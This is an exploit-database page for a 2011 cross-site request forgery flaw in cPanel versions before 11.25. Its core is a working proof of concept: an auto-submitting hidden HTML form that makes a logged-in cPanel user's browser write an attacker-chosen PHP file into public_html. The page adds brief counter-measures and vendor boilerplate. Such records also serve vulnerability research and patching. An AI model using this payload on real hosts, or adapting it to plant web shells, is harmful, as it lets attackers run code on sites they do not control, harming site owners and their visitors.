Lucene search
K

cPanel < 11.25 CSRF - Add User php Script

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

cPanel CSRF vulnerability allows unauthorized PHP script uploa

Code

                                                # Exploit Title: cPanel &#60; 11.25 CSRF - Add php script
# Date: 27.05.2011
# Author: ninjashell
# Software Link: http://cpanel.net
# Version: 11.25 (see details below)
# Tested on: Linux
# CVE : N/A

I. Introduction
cPanel versions below and excluding 11.25 , are vulnerable to CSRF which
leads to uploading a PHP script of the attackers liking. If you have turned
off security tokens and referrer security check, no matter what version you
are using, you are vulnerable as well.

II. Proof of concept (PoC)
&#60;html&#62;
&#60;form name=&#34;editform&#34; action=&#34;
http://localhost:2082/frontend/x3/err/savefile.html&#34; method=POST
onSubmit=&#34;return loadfdata();&#34;&#62;
&#60;input type=&#34;hidden&#34; id=&#34;codepage&#34; class=&#34;codepress html&#34; name=&#34;page&#34;
value=&#34;&#60;?php echo &#39;ninjashell&#39;; ?&#62;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;domain&#34; value=&#34;localhost&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;public_html/&#34; name=&#34;dir&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;ninjashell.php&#34; name=&#34;file&#34;&#62;
&#60;body onload=&#34;document.forms.editform.submit();&#34;&#62;
&#60;/form&#62;
&#60;/html&#62;
Afterwards simply check for ninjashell.php in the directory.

III. Counter-measures
All cPanel versions starting from 11.25 and above have two in-built security
features to prevent such attacks - security tokens and referrer security
check. This means that if you are a cpanel client, you should update your
software.

IV. About the author.
- Ethical hacker;
- Freelance security consultant/penetration tester;
- Security researcher in the spare time;
- Over 12 years of experience;
You can always email me [email protected] or follow me on twitter
@ninjashell1337

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation